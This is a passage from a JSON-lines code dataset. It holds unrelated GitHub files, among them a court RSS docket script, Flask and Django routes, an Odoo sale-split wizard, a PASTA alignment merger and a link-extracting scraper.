csv_dump(data1_decomposed, target_path / \"file1.csv\")\n\n data2 = xml_reader(\"https://ecf.nyed.uscourts.gov/cgi-bin/readyDockets.pl\")\n data2_decomposed = title_transform(data2)\n # pprint(data2_decomposed)\n csv_dump(data2_decomposed, target_path / \"file2.csv\")\n\n recovered = csv_load(target_path / \"file2.csv\")\n assert set(recovered) == set(data2_decomposed), \"Weird, recovering the file was a problem.\"\n\n\nif __name__ == \"__main__\":\n # demo()\n for channel_url in (\n \"https://ecf.dcd.uscourts.gov/cgi-bin/rss_outside.pl\",\n \"https://ecf.nyed.uscourts.gov/cgi-bin/readyDockets.pl\",\n # More channels here.\n ):\n channel_processing(channel_url)","repo_name":"slott56/simple-rss-status","sub_path":"rss_status.py","file_name":"rss_status.py","file_ext":"py","file_size_in_byte":10174,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29475753678","text":"from flask import Blueprint, Markup, session, redirect, request, render_template\nfrom datetime import datetime\nfrom server.db import Payed, get_data\n\n\nrouter = Blueprint(\"index\", __name__)\n\n@router.route('/', methods=['GET'])\ndef index():\n if \"username\" not in session:\n return redirect(\"/login\")\n\n msg = ''\n if \"msg\" in session:\n msg = session['msg']\n session.pop('msg', None)\n\n date = ''\n if request.remote_addr == \"192.168.6.111\":\n try:\n date = request.args.get('date')\n except:\n pass\n\n data = get_data(date)\n\n week = datetime.now().strftime(\"%U\")\n guys1 = []\n\n for i in range(1, 4):\n ll = Payed.find({\"week\": str(int(week) - i), \"payed\": 0})\n if ll is None:\n break\n for l in ll:\n guys1.append(l)\n payed = True\n\n for guy in guys1:\n if guy['name'] == session['username']:\n payed = False\n break\n\n return render_template('index.html', msg=Markup(msg), image_list=data, payed=payed)\n","repo_name":"clitetailor/mummum","sub_path":"server/routes/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40776871308","text":"import numpy as np\nimport pandas as pd\n\ndef csv_to_close(csv_filepath, field_names):\n \"\"\"\n Returns\n -------\n close : DataFrame\n Close prices for each ticker and date\n \"\"\"\n \n price_df = pd.read_csv(csv_filepath, names=field_names)\n\n close_prices = price_df.pivot(index='date', columns='ticker', values='close')\n \n print(close_prices)\n \n return close_prices\n \ndef days_to_weeks(open_prices, high_prices, low_prices, close_prices):\n \"\"\"\n Returns\n -------\n open_prices_weekly : DataFrame\n Weekly open prices for each ticker and date\n high_prices_weekly : DataFrame\n Weekly high prices for each ticker and date\n low_prices_weekly : DataFrame\n Weekly low prices for each ticker and date\n close_prices_weekly : DataFrame\n Weekly close prices for each ticker and date\n \"\"\"\n # print(open_prices.resample('W').first())\n \n return open_prices.resample('W').first(),high_prices.resample('W').high(), low_prices.resample('W').last(), close_prices.resample('W').last()\n\n\ndates = pd.date_range('10/10/2018', periods=11, freq='D')\nclose_prices = np.arange(len(dates))\n\nclose = pd.Series(close_prices, dates)\nclose","repo_name":"kamleshg/fin-ml","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7342003196","text":"from sequence_lib import read_fasta\nfrom rand_aln_prob import rand_Aln\nfrom math import log,sqrt\nfrom FastSP import FastSP\n\nclass merger:\n\tdef __init__(self,ref_aln_file):\n\t\ttaxa_names, ref_aln = read_fasta(ref_aln_file)\n\t\tself.ref_aln = ref_aln\t\n\t\tself.tax2seqidx = {}\n\t\tself.wp = 1 # P(true|ref_aln): probability that a homology is true given it is found in ref_aln (modeler)\n\t\tself.wn = 0 # P(true|~ref_aln): probability that a homology not found in ref_aln is true\n\t\t\t # = P(true|~ref_aln) = P(~ref_aln|true)*P(true)/P(~ref_aln) = SPFN*P(true)/P(~ref_aln)\n\n\t\tfor i in range(len(taxa_names)):\n\t\t\tself.tax2seqidx[taxa_names[i]] = i\n\n\tdef show_taxa(self):\n\t\treturn self.tax2seqidx.keys()\n\n\tdef seqidx(self,tax):\n\t\treturn self.tax2seqidx[tax]\n\n\tdef __eval(self,aln,taxa):\n\t\tM = []\n\t\tcount = 0\n\t\tsubtr = 0\n\n\t\tfor i,tax in enumerate(taxa):\n\t\t\tM.append(self.ref_aln[self.tax2seqidx[tax]])\n\t\t\tl = len([x for x in aln[i] if x != '-'])\n\t\t\tcount += l\n\t\t\tsubtr += l*(l-1)/2\n\n\t\thshared,hA,hM = FastSP(aln,M)\n\t\th_all=count*(count-1)/2 - subtr\n\t\twp = 1.0*hshared/hM\n\t\twn = (1.0-hshared/hA)*hA/(h_all-hM)\n\t\t\n\t\treturn wp,wn\n\n\tdef evalRef(self,aln1,taxa1,aln2=None,taxa2=None):\n\t\twp1,wn1 = self.__eval(aln1,taxa1)\n\n\t\tif aln2 is None or taxa2 is None:\n\t\t\tself.wp = wp1\n\t\t\tself.wn = wn1\n\t\telse:\n\t\t\twp2,wn2 = self.__eval(aln2,taxa2)\n\t\t\tself.wp = sqrt(wp1*wp2)\n\t\t\tself.wn = sqrt(wn1*wn2)\n\t\t\n\n\tdef ref_matching(self,aln1,taxa1,aln2,taxa2):\n\t\tm = len(self.ref_aln[0])\n\t\tn = len(aln1) + len(aln2)\n\t\tmatching = [[-1 for x in range(m)] for y in range(n)]\n\t\t#match1 = [[-1 for x in range(len(aln1[0])+1)] for y in range(len(aln1))] # the last column stores the length of each sequence\n\t\t#match2 = [[-1 for x in range(len(aln2[0])+1)] for y in range(len(aln2))] # the last column stores the length of each sequence\n\n\t\t# match aln1 to ref_aln\n\t\tfor j1 in range(len(aln1)):\n\t\t\ttax = taxa1[j1]\n\t\t\tj = self.seqidx(tax)\n\t\t\ti1 = 0\n\t\t\tk = 0\n\t\t\t#gap1 = 0\n\t\t\tfor i in range(m):\n\t\t\t\tif self.ref_aln[j][i] == '-':\n\t\t\t\t\t#gap1 += 1\n\t\t\t\t\tcontinue\n\t\t\t\twhile aln1[j1][i1] == '-':\n\t\t\t\t\ti1 += 1\n\t\t\t\t#match1[j1][i1] = k\n\t\t\t\tk += 1\n\t\t\t\tif aln1[j1][i1] == self.ref_aln[j][i]:\n\t\t\t\t\tmatching[j1][i] = i1\n\t\t\t\t\ti1 += 1\n\t\t\t\telse:\n\t\t\t\t\tprint(\"reference alignment and alignment 1 are not matched at taxon \" + tax)\n\t\t\t#match1[j1][len(aln1[0])] = k\n\t\t# match aln2 to ref_aln\n\t\tfor j2 in range(len(aln2)):\n\t\t\ttax = taxa2[j2]\n\t\t\tj = self.seqidx(tax)\n\t\t\ti2 = 0\n\t\t\tk = 0\n\t\t\tgap2 = 0\n\t\t\tfor i in range(m):\n\t\t\t\tif self.ref_aln[j][i] == '-':\n\t\t\t\t\t#gap2 += 1\n\t\t\t\t\tcontinue\n\t\t\t\twhile aln2[j2][i2] == '-':\n\t\t\t\t\ti2 += 1\n\t\t\t\t#match2[j2][i2] = k\n\t\t\t\tk += 1\n\t\t\t\tif aln2[j2][i2] == self.ref_aln[j][i]:\n\t\t\t\t\tmatching[j2+len(aln1)][i] = i2\n\t\t\t\t\ti2 += 1\n\t\t\t\telse:\n\t\t\t\t\tprint(\"reference alignment and alignment 2 are not matched at taxon \" + tax)\n\t\t\t#match2[j2][len(aln2[0])] = k\n\t\treturn matching #,match1,match2\n\n\tdef residue_count(self,aln):\n\t\tR = []\n\t\tfor j in range(len(aln[0])):\n\t\t\tR += [0]\n\t\t\tfor i in range(len(aln)):\n\t\t\t\tif aln[i][j] != '-':\n\t\t\t\t\tR[j] += 1\n\t\treturn R\n\n\tdef heuristic_score(self,aln1,taxa1,aln2,taxa2,w=1):\n\t\tR1 = self.residue_count(aln1)\n\t\tR2 = self.residue_count(aln2)\t\t\n\t\tmatching = self.ref_matching(aln1,taxa1,aln2,taxa2)\n\t\tm = len(matching[0])\n\t\tn = len(matching)\n\t\tscore_tab = {}\n\t\t\n\t\tfor i in range(len(aln1[0])):\n\t\t\tscore_tab[(i,-1)] = 0\n\n\t\tfor j in range(len(aln2[0])):\n\t\t\tscore_tab[(-1,j)] = 0\n\t\t\n\t\tfor i in range(len(aln1[0])):\n\t\t\tfor j in range(len(aln2[0])):\n\t\t\t\tscore_tab[(i,j)] = (w-1)*R1[i]*R2[j]\n\t\t\t\n\t\tfor i in range(m):\n\t\t\tL1 = []\n\t\t\td1 = {}\n\t\t\tL2 = []\n\t\t\td2 = {}\n\t\t\tfor j in range(n):\n\t\t\t# below L and d are used as \"references\" (just as pointers in C++): they are not deep copy, but a shallow copy of L1|L2 and d1|d2\n\t\t\t\tif j < len(aln1):\n\t\t\t\t\tL = L1\n\t\t\t\t\td = d1\n\t\t\t\telse:\n\t\t\t\t\tL = L2\n\t\t\t\t\td = d2\n\t\t\t\tif matching[j][i] >= 0:\n\t\t\t\t\tif matching[j][i] in d:\n\t\t\t\t\t\td[matching[j][i]] += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tL += [matching[j][i]]\n\t\t\t\t\t\td[matching[j][i]] = 1\n\t\t\tfor x in L1:\n\t\t\t\tfor y in L2:\n\t\t\t\t\tscore_tab[(x,y)] += (2*w-1)*d1[x]*d2[y]\n\n\n\t\treturn score_tab,R1,R2 #,m1,m2\n\n\tdef TP_score(self,aln1,taxa1,aln2,taxa2):\n\t\treturn self.heuristic_score(aln1,taxa1,aln2,taxa2,w=1)\n\n\tdef llh_score(self,aln1,taxa1,aln2,taxa2):\n\t\tTP_score,R1,R2 = self.TP_score(aln1,taxa1,aln2,taxa2)\n\t\tscore_tab = {}\n\n\t\tself.evalRef(aln1,taxa1,aln2,taxa2)\n\t\tprint(self.wp,self.wn)\n\n\t\tfor j in range(len(aln2[0])):\n\t\t\tscore_tab[(-1,j)] = 0\n\t\t\tfor i in range(len(aln1[0])):\n\t\t\t\tH_ij = R1[i]*R2[j]\n\t\t\t\tp = 1.0-(self.wp*TP_score[(i,j)]+self.wn*(H_ij-TP_score[(i,j)]))/H_ij\n\t\t\t\tscore_tab[(-1,j)] += log(p)\n\n\t\tfor i in range(len(aln1[0])):\n\t\t\tscore_tab[(i,-1)] = 0\n\t\t\tfor j in range(len(aln2[0])):\n\t\t\t\tH_ij = R1[i]*R2[j]\n\t\t\t\tp = 1.0-(self.wp*TP_score[(i,j)]+self.wn*(H_ij-TP_score[(i,j)]))/H_ij\n\t\t\t\t#print(p)\n\t\t\t\tscore_tab[(i,-1)] += log(p)\n\n\t\tfor (i,j) in TP_score:\n\t\t\tH_ij = R1[i]*R2[j]\n\t\t\tscore_tab[(i,j)] = log((self.wp*TP_score[(i,j)]+self.wn*(H_ij-TP_score[(i,j)]))/H_ij)\n\n\t\treturn score_tab\n\t\n\tdef logodd_score(self,aln1,taxa1,aln2,taxa2,rand_P):\n\t\t#score_tab,match1,match2= self.heuristic_score(aln1,taxa1,aln2,taxa2)\n\t\tscore_tab,R1,R2 = self.heuristic_score(aln1,taxa1,aln2,taxa2)\n\t\t#print(gap_rate1)\n\t\t#print(gap_rate2)\n\t\tfor key in score_tab:\n\t\t\t'''\n\t\t\tprint(key)\n\t\t\tp = 0\n\t\t\tfor s1 in match1:\n\t\t\t\tfor s2 in match2:\n\t\t\t\t\tif s1[key[0]] >= 0 and s2[key[1]] >= 0 :\n\t\t\t\t\t\tp += rand_P.prob(s1[-1],s2[-1],s1[key[0]]+1,s2[key[1]]+1)\n\t\t\t\t\t\t#print(p)\n\t\t\t#score_tab[key] = log(score_tab[key]/rand_P.prob(len(aln1[0]),len(aln2[0]),key[0]+1,key[1]+1))\n\t\t\tp = p/len(aln1)/len(aln2)\n\t\t\t#print(p)\n\t\t\tscore_tab[key] = log(score_tab[key]/p)\n\t\t\t#print(score_tab[key])\n\t\t#print(score_tab)\n\t\t\t'''\n\t\t\tif score_tab[key]:\n\t\t\t\tscore_tab[key] = log(score_tab[key]/rand_P.prob(len(aln1[0]),len(aln2[0]),key[0]+1,key[1]+1))\n\t\t#del_score = log(gap_rate2/rand_P.del_rate(len(aln1[0]),len(aln2[0]),1))\n\t\t#ins_score = log(gap_rate1/rand_P.ins_rate(len(aln1[0]),len(aln2[0]),1))\n\t\treturn score_tab #,del_score,ins_score\n\t\n\t\n\tdef merge(self,aln1,aln2,score_tab,default=0):\n\t\tn = len(aln1[0])\n\t\tm = len(aln2[0])\n\n\t\taln_score = [[0 for i in range(m+1)] for j in range(n+1)]\n\t\tbacktrack = [['-' for i in range(m+1)] for j in range(n+1)]\n\t\tfor i in range(1,m+1):\n\t\t\tbacktrack[0][i] = 'L'\n\t\t\taln_score[0][i] = aln_score[0][i-1] + score_tab[(-1,i-1)]#+ ins_score\n\t\tfor j in range(1,n+1):\n\t\t\tbacktrack[j][0] = 'U'\n\t\t\taln_score[j][0] = aln_score[j-1][0] + score_tab[(j-1,-1)]#+ del_score\n\n\t\tfor j in range(1,n+1):\n\t\t\tfor i in range(1,m+1):\n\t\t\t\tms = aln_score[j-1][i-1] + score_tab[(j-1,i-1)] \n\t\t\t\tg1 = aln_score[j][i-1] + score_tab[(-1,i-1)] #+ ins_score\n\t\t\t\tg2 = aln_score[j-1][i] + score_tab[(j-1,-1)] #+ del_score\n\n\t\t\t\tif ms >= g1 and ms >= g2:\n\t\t\t\t\taln_score[j][i] = ms\n\t\t\t\t\tbacktrack[j][i] = 'D'\n\t\t\t\telif g1 >= ms and g1 >= g2:\n\t\t\t\t\taln_score[j][i] = g1\n\t\t\t\t\tbacktrack[j][i] = 'L'\n\t\t\t\telse:\n\t\t\t\t\taln_score[j][i] = g2\n\t\t\t\t\tbacktrack[j][i] = 'U'\n\n\t\ti = m\n\t\tj = n\n\t\tM1 = \"\"\n\t\tM2 = \"\"\n\t\twhile (i > 0 or j > 0):\n\t\t\tif backtrack[j][i] == 'D':\n\t\t\t\tM1 = \".\" + M1\n\t\t\t\tM2 = \".\" + M2\n\t\t\t\ti -= 1\n\t\t\t\tj -= 1\t\n\t\t\telif backtrack[j][i] == 'L':\n\t\t\t\tM2 = \".\" + M2\n\t\t\t\tM1 = \"-\" + M1\n\t\t\t\ti -= 1\n\t\t\telse:\n\t\t\t\tM2 = \"-\" + M2\n\t\t\t\tM1 = \".\" + M1\n\t\t\t\tj -= 1\n\t\treturn aln_score[n][m], M1, M2\t\t\n\n\tdef heuristic_merge(self,aln1,taxa1,aln2,taxa2):\n\t\tscore_tab,R1,R2 = self.heuristic_score(aln1,taxa1,aln2,taxa2)\n\t\treturn self.merge(aln1,aln2,score_tab)\n\n\tdef ML_merge(self,aln1,taxa1,aln2,taxa2):\n\t\tscore_tab = self.llh_score(aln1,taxa1,aln2,taxa2)\n\t\treturn self.merge(aln1,aln2,score_tab)\n\n\tdef logodd_merge(self,aln1,taxa1,aln2,taxa2,rand_P):\n\t\tscore_tab= self.logodd_score(aln1,taxa1,aln2,taxa2,rand_P)\n\t\treturn self.merge(aln1,aln2,score_tab)\n","repo_name":"uym2/PASTA_with_structure","sub_path":"merger.py","file_name":"merger.py","file_ext":"py","file_size_in_byte":7625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34071252762","text":"from unidecode import unidecode\n\n\nclass DataPreProcessor:\n def __init__(self, data):\n self.data = data\n self.books_keyword_map = {}\n\n def parse_data(self):\n \"\"\"\n modifying the data in place after escaping and decoding\n :return:\n \"\"\"\n titles = self.data.get(\"titles\", [])\n\n for idx in range(len(titles)):\n summary = self.data.get(\"summaries\", [])[idx]\n title = self.data.get(\"titles\", [])[idx]\n summary[\"summary\"] = unidecode(summary.get(\"summary\").decode('unicode-escape'))\n self.data.get(\"titles\", [])[idx] = unidecode(title.decode('unicode-escape'))\n\n def process_data(self):\n summaries = self.data.get(\"summaries\", [])\n titles = self.data.get(\"titles\", [])\n\n # creating a dictionary of words of summaries as key and value as list of books containing this word/key\n for summary in summaries:\n book_id = summary.get(\"id\")\n book_title = titles[book_id]\n\n # combining book_title with the summary so that book name can also be included in search\n book_summary = \"{} {}\".format(book_title, summary.get(\"summary\"))\n keys = book_summary.replace(\"The Book in Three Sentences: \", \"\").replace(\".\", \"\").lower().split()\n\n for key in keys:\n self.books_keyword_map.setdefault(key, {})\n self.books_keyword_map[key].setdefault(book_id, 0)\n self.books_keyword_map[key][book_id] += 1\n\n for key, value in self.books_keyword_map.items():\n self.books_keyword_map[key] = sorted(value.items(), key=lambda item: item[1])\n\n def start(self):\n self.parse_data()\n self.process_data()\n return self.books_keyword_map\n","repo_name":"vvknain/search_project","sub_path":"search_server/search_utility/pre_process_data.py","file_name":"pre_process_data.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25240130712","text":"def find(x):\n if P[x] != x:\n P[x] = find(P[x])\n return P[x]\n\ndef union(a, b):\n a = find(a)\n b = find(b)\n if a < b:\n P[b] = a\n else:\n P[a] = b\n\nwhile True:\n M, N = map(int, input().split())\n if (M, N) == (0, 0):\n break\n\n E = []\n for _ in range(N):\n a, b, c = map(int, input().split())\n E.append((c, a, b))\n P = [i for i in range(M)]\n\n result = 0\n E.sort()\n for i in E:\n c, a, b = i\n if find(a) != find(b):\n union(a, b)\n else:\n result += c\n\n print (result)","repo_name":"juntae6942/ANA-Daily-Algorithm","sub_path":"손봉우/6497.py","file_name":"6497.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"1306732733","text":"from django.urls import path\n\nfrom adminapp.views import index, UserListView, UserCreateView, UserUpdateView, UserDeleteView, UserRestoreView,ProductCategoryListView\n\napp_name = 'adminapp'\n\nurlpatterns = [\n path('', index, name='index'),\n path('admin-users-read/', UserListView.as_view(), name='admin_users_read'),\n path('admin-users-create/', UserCreateView.as_view(), name='admin_users_create'),\n path('admin-users-update//', UserUpdateView.as_view(), name='admin_users_update'),\n path('admin-user-remove//', UserDeleteView.as_view(), name='admin_user_remove'),\n path('admin-user-restore//', UserRestoreView.as_view(), name='admin_user_restore'),\n path('admin-product-category-read/', ProductCategoryListView.as_view(), name='admin_product_category_read'),\n\n]\n","repo_name":"DimonYarkin/repogeek-server","sub_path":"adminapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3415969801","text":"\"\"\"Evaluation of CNN\"\"\"\n# Standar modules\nimport argparse\n\n# Third party modules\nimport matplotlib.pyplot as plt\nimport torch\nfrom plot_metric.functions import BinaryClassification\nfrom torchvision import datasets, transforms\n\n# Local modules\nfrom utils.constants import SIZE, MEAN, STD\n\n\n# Define argument parser\nparser = argparse.ArgumentParser()\nparser.add_argument(\n \"--model\",\n type=str,\n default=\"model_best.pth.tar\",\n help=\"path to input PyTorch model (default: model_best.pth.tar)\",\n)\nparser.add_argument(\"--test\", type=str, default=\"\", help=\"desired path of images\")\nparser.add_argument(\"--type\", type=str, default=\"\", help=\"age, gender, or employee\")\nopt = parser.parse_args()\n\n# Set the device\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# Type of dataset\ndataset_type = opt.type\nif dataset_type == \"gender\":\n LABELS_MAP = ['f','m']\nelif dataset_type == \"employee\":\n LABELS_MAP = ['client','employee']\nelse:\n LABELS_MAP = ['0-15','16-24','25-34','35-44','45-54','55-65','65-100']\n\n# Load model\nmodel = torch.load(opt.model)\nmodel.to(device)\nmodel.eval()\n\n# Define image transformations\ntfms = transforms.Compose(\n [\n transforms.Resize(SIZE),\n transforms.ToTensor(),\n transforms.Normalize(MEAN, STD),\n ]\n)\n\n# Create Dataset and Dataloader from folder\ndataset = datasets.ImageFolder(opt.test, transform=tfms)\ndataloader = torch.utils.data.DataLoader(dataset, batch_size=50, shuffle=True)\n\n# Performs forward pass for classification\nfor batch, labels in iter(dataloader):\n batch, labels = batch.to(device), labels.to(device)\n with torch.no_grad():\n outputs = model(batch)\n outputs = torch.softmax(outputs, dim=1).argmax(dim=1)\n\n\n# Visualisation with plot_metric [https://github.com/yohann84L/plot_metric]\nbc = BinaryClassification(\n labels.cpu().data.numpy(), outputs.cpu().data.numpy(), labels=LABELS_MAP\n)\n\n# Figures\nplt.figure(figsize=(15, 10))\nplt.subplot2grid(shape=(2, 6), loc=(0, 0), colspan=2)\nbc.plot_roc_curve()\nplt.subplot2grid((2, 6), (0, 2), colspan=2)\nbc.plot_precision_recall_curve()\nplt.subplot2grid((2, 6), (0, 4), colspan=2)\nbc.plot_class_distribution()\nplt.subplot2grid((2, 6), (1, 1), colspan=2)\nbc.plot_confusion_matrix()\nplt.subplot2grid((2, 6), (1, 3), colspan=2)\nbc.plot_confusion_matrix(normalize=True)\nplt.show()\nbc.print_report()","repo_name":"jorgechang/VICO_classifier","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":2364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38789259899","text":"#!/usr/bin/env python\n\nfrom file.FileWriter import FileWriter\nfrom bs4 import BeautifulSoup\nfrom argparse import ArgumentParser\nfrom urllib.request import urlretrieve, urlopen\nfrom urllib.parse import unquote\nimport os\n\nparser = ArgumentParser(description='Extract link urls of a website.')\nparser.add_argument('url', help='url of website to parse')\nparser.add_argument('--distinct', action='store_true', help='result list should not contain duplicate link urls, '\n 'do not preserve order')\nparser.add_argument('--filter-should-contain', help='only parse urls containing given string')\nparser.add_argument('--download', action='store_true', help='save all found urls to files')\nparser.add_argument('--save', action='store_true', help='write found files into a .txt file')\nargs = parser.parse_args()\n\nurl = args.url\ndistinct = args.distinct\ndownload_files = args.download\nsave_to_file = args.save\ndirectory = \"result\"\n\ntry:\n response = urlopen(url)\nexcept:\n print(\"Could not access URL \" + url)\n exit(1)\n\npage = str(BeautifulSoup(response.read().decode(\"utf8\"), \"html.parser\"))\nresponse.close()\n\n\ndef getURL(page):\n \"\"\"Extract next url from page.\n :param page: html of web page \n :return: urls in that page \n \"\"\"\n start_link = page.find(\"a href\")\n if start_link == -1:\n return None, 0\n start_quote = page.find('\"', start_link)\n end_quote = page.find('\"', start_quote + 1)\n url = page[start_quote + 1: end_quote]\n return url, end_quote\n\n\ndef filter_url(url):\n \"\"\"Returns True if all configured filters are passed and False if not.\"\"\"\n if args.filter_should_contain is not None and args.filter_should_contain not in url:\n return False\n return True\n\n\ndef download_file(url):\n \"\"\"Download a file from given url an use last url segment as filename to directory 'download/'.\"\"\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n image_name = directory + \"/\" + unquote(url.rsplit('/', 1)[-1])\n urlretrieve(url, image_name)\n print(\" -> Save file \" + image_name)\n\n\n\nurls = list()\nwhile True:\n url, n = getURL(page)\n page = page[n:]\n if not url:\n break\n if filter_url(url):\n urls.append(url)\n\nprint(str(len(urls)) + \" URLs found!\")\n\nif distinct:\n urls = set(urls)\n\nfor url in urls:\n print(url)\n if download_files:\n download_file(url)\n\nif save_to_file:\n file_path = FileWriter(\"result\", \"urls.txt\").write_list(urls)\n print(\" -> URLs written to file \" + file_path)\n","repo_name":"sikell/python-scripts","sub_path":"extractUrls.py","file_name":"extractUrls.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73341810007","text":"\"\"\"Add is_private column to contribution types table\n\nRevision ID: 566d5de4e0e5\nRevises: 1d512a9ebb30\nCreate Date: 2017-11-01 11:49:47.532339\n\"\"\"\n\nimport sqlalchemy as sa\nfrom alembic import op\n\n\n# revision identifiers, used by Alembic.\nrevision = '566d5de4e0e5'\ndown_revision = '1d512a9ebb30'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.add_column(\n 'contribution_types',\n sa.Column('is_private', sa.Boolean(), nullable=False, server_default='false'),\n schema='events'\n )\n op.alter_column('contribution_types', 'is_private', server_default=None, schema='events')\n\n\ndef downgrade():\n op.drop_column('contribution_types', 'is_private', schema='events')\n","repo_name":"indico/indico","sub_path":"indico/migrations/versions/20171101_1149_566d5de4e0e5_add_is_private_column_to_contribution_types.py","file_name":"20171101_1149_566d5de4e0e5_add_is_private_column_to_contribution_types.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":1560,"dataset":"github-code","pt":"31"} +{"seq_id":"5702572018","text":"from django.contrib import admin\nfrom solo.admin import SingletonModelAdmin\n\nfrom .models import *\n\n\nclass OrderAdmin(admin.ModelAdmin):\n fields = (\n \"number\",\n \"name\",\n \"surname\",\n \"email\",\n \"phone_number\",\n \"products\",\n \"total_price\",\n \"delivery_type\",\n \"commit\",\n \"city\",\n \"address\",\n \"sum_delivery\",\n )\n list_filter = ((\"commit\", admin.EmptyFieldListFilter),)\n list_display = [\n \"number\",\n \"name\",\n \"surname\",\n \"delivery_type\",\n \"total_price\",\n ]\n list_display_links = (\n \"number\",\n \"name\",\n \"surname\",\n \"delivery_type\",\n \"total_price\",\n )\n\n def has_add_permission(self, request, obj=None):\n return False\n\n def has_delete_permission(self, request, obj=None):\n return False\n\n def changelist_view(self, request, extra_context=None):\n extra_context = {\"title\": f\"Выберите заказ для просмотра.\"}\n return super(OrderAdmin, self).changelist_view(request, extra_context=extra_context)\n\n\nadmin.site.register(Slider)\nadmin.site.register(About, SingletonModelAdmin)\nadmin.site.register(PrivacyPolicy, SingletonModelAdmin)\nadmin.site.register(Thanks, SingletonModelAdmin)\nadmin.site.register(Order, OrderAdmin)\nadmin.site.site_header = \"Админ-панель сайта Там-Там\"\n","repo_name":"retxrika/Ceramic-Project","sub_path":"main/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"113279267","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.get_routes, name=\"routes\"),\n\n path('notes/', views.GetNotes.as_view(), name=\"notes\"),\n path('note/create', views.CreateNote.as_view(), name=\"create-note\"),\n path('note//update/', views.UpdateNote.as_view(), name=\"update-note\"),\n path('note//delete/', views.DeleteNote.as_view(), name=\"delete-note\"),\n path('note//', views.GetNote.as_view(), name=\"note\"),\n]\n","repo_name":"MilliesXu/django_full_stack","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1874798775","text":"from odoo import models,fields,api\n\nclass SaleSplit(models.TransientModel):\n\t_name='sale.split.wizard'\n\n\n\tname = fields.Char(string='Name')\n\tproduct_ids = fields.One2many(string='Product',comodel_name='sale.order.line.wizard',inverse_name='quotation_id')\n\t\n\t\n\t@api.model\n\tdef default_get(self, fields_list):\n\t\tres = super(SaleSplit,self).default_get(fields_list)\n\t\tvals = self.env['sale.order'].browse(self.env.context.get('order_id'))\n\t\tlines = []\n\t\tfor val in vals.picking_ids.move_ids_without_package: \n\t\t\tprint(\"_________________________________________vvv\",val.product_id.name)\n\t\t\tprint(\"_________________________________________vvvidddddd\",val.id)\n\t\t\tline=(0,0,{\n\t\t\t\t\t'product_id':val.product_id,\n\t\t\t\t\t'hidden_move_id':val\n\n\t\t\t\t\t})\n\t\t\tprint(\"________line\",line)\n\t\t\t\n\t\t\tprint('picking_id----------------------',val.picking_id)\n\t\t\tlines.append(line)\n\t\tres.update({\n\t\t\t'product_ids':lines\n\t\t\t})\n\n\n\n\t\treturn res\n\t\n\tdef split_quotation(self):\n\t\tsale_id = self.env['sale.order'].browse(self.env.context.get('order_id'))\n\t\ttransfer = sale_id.env['stock.picking'].create({\n\t\t\t'picking_type_id': 2,\n\t\t\t'location_id': 8,\n\t\t\t'location_dest_id' :10,\n\t\t\t'note' : \"note\",\n\t\t\t'origin':sale_id.name\n\t\t\t})\n\t\t\n\t\tprint('sale_id---------------',sale_id)\n\t\t\t\n\t\tfor wiz_line in self.product_ids:\n\t\t\tif wiz_line.split_quotation == True:\n\t\t\t\twiz_line.hidden_move_id.write({\n\t\t\t\t\t'picking_id':transfer.id\n\t\t\t\t\t})\n\nclass SaleSplitLine(models.TransientModel):\n\t_name='sale.order.line.wizard'\n\n\tquotation_id = fields.Many2one(string='Quotation',comodel_name='sale.split.wizard')\n\tproduct_id = fields.Many2one(string='Product',comodel_name='product.product')\n\tsplit_quotation = fields.Boolean(string='Order Split?')\n\thidden_move_id =fields.Many2one(string='hidden move ID', comodel_name='stock.move')\n\n","repo_name":"Jayrajthakkar/library","sub_path":"library_management/wizard/sale_split_wizard.py","file_name":"sale_split_wizard.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5535891552","text":"#!/usr/bin/env python3\n\n# This file is part of ODM and distributed under the terms of the\n# MIT license. See COPYING.\n\nimport json\nimport sys\n\nimport odm.cli\nimport odm.ms365\n\n\ndef main():\n cli = odm.cli.CLI(['site', 'action', '--incremental'])\n client = cli.client\n\n site = odm.ms365.Site(client, cli.args.site)\n\n if cli.args.action == 'show':\n result = site.show()\n if result:\n print(json.dumps(result, indent=2))\n else:\n print('Site {} not found'.format(cli.args.site), file=sys.stderr)\n sys.exit(1)\n\n elif cli.args.action == 'list-items':\n base = {\n 'items': {},\n }\n\n if cli.args.incremental:\n with open(cli.args.incremental, 'rb') as f:\n base = json.load(f)\n\n site.drive.delta(base)\n\n print(json.dumps(base, indent=2))\n\n elif cli.args.action == 'list-pages':\n 